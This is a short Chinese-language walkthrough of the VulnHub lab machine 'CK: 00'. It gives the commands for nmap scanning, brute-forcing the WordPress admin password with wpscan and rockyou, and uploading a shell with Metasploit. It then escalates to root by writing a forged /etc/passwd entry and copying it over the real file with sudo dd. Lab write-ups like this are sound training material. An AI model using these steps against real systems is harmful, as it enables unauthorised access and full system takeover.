CK: 00
靶机地址:https://www.vulnhub.com/entry/ck-00,444/
靶机网络有问题,先进入单用户模式把 /etc/netplan/50-cloud-init.yaml 里面的网卡名称改成ens33(具体网卡名称和配置文件因人而异)
用nmap扫描获取靶机ip:192.168.40.161
nmap -sP 192.168.40.0/24
获取靶机开放的端口,开放了22和80端口
nmap -sV -p- 192.168.40.161
用dirb扫描目录,发现网站使用的是wordpress
用wpscan枚举用户
wpscan --url 192.168.40.161 -eu
找到admin用户,用rockyou爆破用户密码
wpscan --url 192.168.40.161 -U admin -P /usr/share/wordlists/rockyou.txt
成功爆破出密码admin,有了wordpress用户和密码就可以使用msf的wp_admin_shell_upload
use exploit/unix/webapp/wp_admin_shell_upload set username admin set password admin set rhost 192.168.40.161 run
用python3开启交互式tty
在/home/ck/ck00-local-flag找到第一个flag
在/var/www/html/wp-config.php找到了数据库的用户信息
正好系统的家目录下有bla这个用户,尝试用密码 bla_is_my_password 登录系统
成功登录系统,那用户 bla1 的密码说不定是 bla1_is_my_password
尝试之后发现可以登录bla1,下一步就是提权 ,先用sudo -l 查看可以使用的权限
发现可以以 ck-00 身份执行 /bin/rbash
再次 sudo -l 发现可以以root身份使用dd命令,dd命令主要用于转换和复制文件
那么我们可以伪造一个 passwd,然后用 dd 命令把伪造的 passwd 替换成 /etc/passwd ,这样就可以成功提权。因为 ck-00 是rbash,受限的bash,所以使用 bla1 把 /etc/passwd 重定向到 家目录
cat /etc/passwd > ~/passwd
然后利用kali生成用户 hacker 的密码
openssl passwd -1 -salt hacker 123456
再把 hacker 用户追加到 bla1家目录的 passwd
echo 'hacker:$1$hacker$6luIRwdGpBvXdP.GMwcZp/:0:0:/root:/bin/bash' >> ~/passwd
然后切换成 ck-00 用户,把伪造好的 passwd 用 dd 命令 覆盖原来的 /etc/passwd
sudo -u ck-00 /bin/rbash sudo dd if=~/passwd of=/etc/passwd su hacker